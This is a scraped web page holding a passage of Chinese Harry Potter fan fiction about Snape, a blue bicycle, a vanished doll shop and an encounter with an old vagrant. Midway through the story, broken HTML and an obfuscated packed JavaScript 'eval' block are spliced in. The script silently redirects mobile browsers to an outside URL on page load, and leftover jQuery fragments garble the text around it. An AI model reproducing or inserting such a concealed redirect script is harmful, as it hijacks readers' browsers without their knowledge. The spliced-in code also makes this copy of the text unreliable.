西弗勒斯·斯内普在过去的十几年里并没有再次恋爱，也没有与人结婚，他一直住在蜘蛛尾巷那栋狭窄、昏暗、破旧的房子里。


    世界发展是如此快速，将新的变成旧的，将现在变成过去，但是旧的仍旧是旧的，旧的东西早就在过去被时间的树脂浸泡、凝固，变成一颗一颗拙劣的琥珀。


    蜘蛛尾巷就是这样。


    这栋房子在过去唯一值得称道的地方就是拥有一台私人电话。没有人知道西弗勒斯·斯内普这样一个穷小子是怎么做到的，但是它就是出现在那里。


    每次一次电话铃响起的时候，斯内普都会立刻停下手头上的所有事情，接听它。


    有时候，是维达·加尔打过来的，她会叫斯内普去她家吃饭、或者告诉他明天店铺不营业，又或者提前对他说给他安排了某某城市的旅游；也有时候是贝拉特里克斯·布莱克打过来，叫他来的时候必须把自己收拾地干干净净、教育他不准和维达·加尔在一起胡闹，或者叫他立刻马上去超市买某个急缺的东西送过来。


    正因如此，加尔甚至给斯内普买了一辆漂亮的自行车，它是蓝色的。


    斯内普白天骑着自行车上班，晚上骑着它下班，偶尔骑着它给贝拉特里克斯跑腿。他从蜘蛛尾巷骑车、轮子转呀转呀，转到高楼林立的商业区，又转呀转，转到中产阶级最喜欢的超市，然后又去艺术家和潮流人士聚集的别墅区；最后在越来越暗、越来越少的路灯照射下回到自己的家。


    有了自行车就要有车棚，可惜在这里，把自行车停在外面是危险的，斯内普只能把自行车每天晚上扛进屋子；自行车会坏，每次扛去修车行也太麻烦了，斯内普又买了螺丝刀和扳手。在自行车来到这个家之后，他学会了擦车、换链条、将手电筒绑在车前以减少车灯使用时间。


    他晚上下班后会骑着车在城市里到处乱转，会趁着街道上没人时骑去莉莉·伊万斯家附近，按着清脆的车铃。或许伊万斯也会知道这辆车，又或者她再也不愿意见到斯内普了。但是宝蓝色的车就停在那里。


    拥有一辆宝蓝色的自行车是痛苦的，斯内普常常会觉得有人会砸碎窗户，偷走这辆车。即使加尔给他报了旅行团，他也要把车骑去加尔家的车库里，亲自用大铁链拴上才会安心。


    为什么会这样呢？


    他问维达·加尔。


    因为希望是痛苦的来源。


    加尔说。


    那你为什么要给我那辆车呢？


    他说。


    因为你需要它。加尔回答。你会感到折磨、痛苦，是因为你觉得你无法保护它，你把它放在我这里，因为你知道不会有人能够在我这里夺走你的车。


    维达·加尔在这个夏天学会拉手风琴，她用瘦长像树枝一样的手指轻轻按压琴键的时候，斯内普也不由自主地笑起来。实际上，这段音乐烂透了，断断续续、只有几个音符不断重复。


    那天，加尔就在餐桌边上，在用餐时，放下咬了一半的吐司对斯内普说：


    “我还会拉手风琴呢。”


    说完，她就找出手风琴，围着餐桌一边转圈、一边弹奏。


    贝拉特里克斯忍了一会，大叫着“混蛋”让加尔赶紧停下，老实吃饭。


    加尔命令斯内普立刻为表演的谢幕鼓掌。斯内普举起手，想像那些纯血家里的同学一样优雅的鼓掌，但是一想到贝拉，又觉得还是随便做几个动作吧。


    现在想想，如果一切只停在这个时间段就好了。斯内普仍然是霍格沃茨的学生，暑假就在加尔和布莱克的安排下生活；黑魔王在英国的巫师世界如日中天；维达·加尔和贝拉特里克斯·布莱克依然住在这栋前卫的艺术家别墅里经营玩偶生意。


    没有莉莉和詹姆·波特结婚，没有预言，没有婴儿，也没有告密......也没有加尔离开布莱克。


    那辆宝蓝色的自行车慢慢坏掉了，斯内普也想不起来去修，后来，大概是被小偷偷走了吧。那个年代的自行车，还是一个牌子货，应该早就被盯上了，哪怕旧了、破了，也总是会有人想要。


    斯内普有一次从破釜酒吧出来，不知道怎么的就走到过去上班的那栋楼。玩偶店早就因为没人交房租而被搬空，变成一间巨大的面包店。店员神情疲惫，懈怠地盯着每一个到店的顾客，看着他们有没有将面包装进口袋里。


    “这里以前是个玩偶店，你知道吗？”斯内普买了一块面包，借此和店员说。


    “啊，哦。”店员愣愣地抬起脖子。


    “以前在伦敦很有名。”


    “哦。”


    “日进斗金。”


    “哦。”


    “你小时候一定过来买过玩具。”


    “哦。”


    “你没有印象吗？”


    店员看了眼排队的人群，他说：“不好意思，先生，我是恩菲尔德人。”


    ——恩菲尔德是英国知名的贫困地区。


    他的脸上露出令人恐惧的贫穷的、疲惫的、干瘪的微笑。斯内普整个人僵在原地，直到下一个人推了推他。


    身后的绅士以恰到好处的被耽误时间之后含着厌烦的礼貌提醒他：“请不要纠缠这个小伙子了，先生。”


    店员仍旧微笑着，仿佛周围的一切与他毫无关联。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841009|180430||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    更加糟糕的事情发生了：他身上没有带‘钱’。


    ‘钱’-‘英镑’-‘便士’-‘麻瓜世界流通货币’——怎样解释都可以，总之，斯内普也买不起他拿起来的一块面包。好在他是一个巫师，巫师有很多办法对付麻瓜。


    但是那种付不起钱的耻辱仍旧刻在他的心里。


    也许我应该把面包放回去。斯内普坐在长椅上，盯着手里的面包纸袋。流浪汉试探地走到他身边，伸出手。


    “先生......”衣着邋遢的老年人喊了他一声。流浪汉没有微笑、没有痛苦也没有羞耻，他只是平静地望着斯内普。那双蜡黄色的指节粗大的手心有着厚厚的茧子，茧子反而比他的肤色更白一些，上方还有掌纹那样一条条细细的线。


    斯内普像甩开罪恶般将面包扔出去，流浪汉捡起它，坐在相邻的另一张椅子上，两人一个在长椅的左边，一个在另一张长椅的右边。


    “感谢您。”流浪汉说。他们隔着一截水泥地的间隙交流，他的口音十分奇怪，有着浓浓的德国腔调。


    斯内普没有说话。


    “我是在一九三零年出生的，在我小时候，大街上还不是这样。”流浪老人说，“街道上许多士兵，商店里的人都会喊‘万岁，希特/勒’，有时候会拉警报，我和全家人会躲到防空洞里去。”


    “英国没有希特/勒。”斯内普说，“现在已经是九十年代了。”


    “真的没有了吗？”老人把面包塞进嘴里，“他无处不在。纳/粹、新自由主义、联盟、联邦、合众国、王国、现代艺术......”


    他潮湿的蓝眼睛忧郁地望着前方，“我以前见过你，你也应该见过我。”


    斯内普猛地转头。


    “你是这边一个店长家的孩子，你长得真快，但是一点都没变。”


    “你是谁？”斯内普压低声音问他。


    “一个逃兵。”老人说。他吃饱了，就离开长椅，想要找一个有太阳的地方躺着。斯内普盯着他越走越远，紧接着，一群骑自行车大声鸣笛的青少年从人行道上穿过。


    “一群没有教养的......”他自言自语。


    面包只是在他手里转了一圈，什么都没有发生。一家商店失去了面包，一个流浪汉得到面包。斯内普既没有失去，也没有得到，什么都没有发生。


    飞蛾从酒杯里爬出来，肥鼓鼓的肚子像是结满籽般疲惫地下垂，维达·加尔平静地望着他的脸。他抖了一下，垂下头躲避她的视线。


    “喂。”斯内普的声音闷闷的，但是他终于问出来了，“你当时为什么要离开我们？”